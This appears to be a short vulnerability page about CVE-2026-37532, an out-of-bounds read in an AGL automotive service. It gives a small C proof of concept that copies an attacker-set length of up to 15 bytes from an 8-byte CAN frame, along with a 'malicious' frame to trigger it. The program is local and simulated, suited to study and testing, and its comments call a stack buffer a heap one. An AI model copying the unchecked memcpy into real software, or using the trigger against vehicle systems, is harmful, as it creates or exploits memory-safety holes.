CVE-2026-37532 AGL服务堆缓冲区越界读漏洞

#include <stdio.h> #include <string.h> #include <stdint.h> // Simulated vulnerable function logic based on description void simulate_vulnerability(uint8_t *can_frame) { // Extract payload_length from the 4-bit nibble (first byte low bits) uint8_t payload_length = can_frame[0] & 0x0F; printf("[+] Extracted payload_length: %d\n", payload_length); // Standard CAN frame is 8 bytes, payload starts at data[1] // Available data is 7 bytes (indices 1 to 7) uint8_t message_payload[16]; // Vulnerable memcpy: reads 'payload_length' bytes from &data[1] // If payload_length is 15, it reads 8 bytes past the end of the 8-byte frame buffer memcpy(message_payload, &can_frame[1], payload_length); printf("[+] Data copied. Potential heap over-read occurred if length > 7.\n"); } int main() { // Standard CAN frame max size is 8 bytes uint8_t malicious_frame[8] = {0}; // Set the first byte low nibble to 15 (0xF) to indicate a large payload // This simulates the malicious condition triggering the overflow malicious_frame[0] = 0x0F; // Fill the rest with dummy data for(int i = 1; i < 8; i++) { malicious_frame[i] = 0x41 + i; } printf("[*] Sending malicious CAN frame...\n"); simulate_vulnerability(malicious_frame); return 0; }